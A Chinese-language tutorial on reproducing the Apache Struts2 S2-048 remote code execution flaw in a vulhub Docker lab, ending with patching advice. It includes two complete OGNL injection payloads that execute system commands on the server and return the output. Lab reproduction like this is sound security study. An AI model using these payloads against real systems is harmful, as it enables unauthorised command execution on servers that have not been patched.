您好,欢迎访问一九零五行业门户网

怎么进行Apache Struts2--048远程代码执行漏洞复现

0x00简介struts2框架是一个用于开发java ee网络应用程序的开放源代码网页应用程序架构。它利用并延伸了java servlet api,鼓励开发者采用mvc架构。struts2以webwork优秀的设计思想为核心,吸收了struts框架的部分优点,提供了一个更加整洁的mvc设计模式实现的web应用程序框架。
0x01漏洞概述apache struts2 2.3.x 系列启用了struts2-struts1-plugin 插件并且存在 struts2-showcase 目录,其漏洞成因是当actionmessage接收客户可控的参数数据时,由于后续数据拼接传递后处理不当导致任意代码执行
0x02影响范围apache struts 2.3.x系列中启用了struts2-struts1-plugin插件的版本。
0x03环境搭建1.自行搭建apache struts2较为复杂,本次漏洞环境使用vulhub中的docker环境搭建。
下载地址:https://github.com/vulhub/vulhub
2.下载完成后解压进入s2-048目录,启动漏洞环境
cd cd vulhub-master/struts2/s2-048/    //进入目录
docker-compose up -d  //启动靶场
3.使用docker ps 查看是否启动成功
4.在浏览器输入http:your-ip:8080/hello.action,看到以下页面环境搭建完成
0x04漏洞复现1. 在浏览器输入以下链接访问漏洞页面
http://192.168.3.160:8080/integration/savegangster.action
2.在第一个表单“gangster name”处输入${1+1},下面随意输入,点击submit提交查看执行了ognl 表达式
2. 在gangster name”处把${1+1}修改为以下命令执行的payload语句
%{(#dm=@ognl.ognlcontext@default_member_access).(#_memberaccess?(#_memberaccess=#dm):((#container=#context['com.opensymphony.xwork2.actioncontext.container']).(#ognlutil=#container.getinstance(@com.opensymphony.xwork2.ognl.ognlutil@class)).(#ognlutil.getexcludedpackagenames().clear()).(#ognlutil.getexcludedclasses().clear()).(#context.setmemberaccess(#dm)))).(#q=@org.apache.commons.io.ioutils@tostring(@java.lang.runtime@getruntime().exec('id').getinputstream())).(#q)}
3. 也可以使用burp抓包修改成命令执行的payload的语句
注:payload需要使用url编码
%{(#dm=@ognl.ognlcontext@default_member_access).(#_memberaccess?(#_memberaccess=#dm):((#container=#context['com.opensymphony.xwork2.actioncontext.container']).(#ognlutil=#container.getinstance(@com.opensymphony.xwork2.ognl.ognlutil@class)).(#ognlutil.getexcludedpackagenames().clear()).(#ognlutil.getexcludedclasses().clear()).(#context.setmemberaccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.system@getproperty('os.name').tolowercase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.processbuilder(#cmds)).(#p.redirecterrorstream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.servletactioncontext@getresponse().getoutputstream())).(@org.apache.commons.io.ioutils@copy(#process.getinputstream(),#ros)).(#ros.flush())}
4. 可以使用自动化脚本或图形化工具实现,这里不做演示。
工具可在github上搜索下载
0x05修复建议1. 升级 建议升级到最新版本
2、根据业务情况,禁用关闭(删除) \struts-2.3.x\apps\struts2-showcase.war包
以上就是怎么进行apache struts2--048远程代码执行漏洞复现的详细内容。
其它类似信息

推荐信息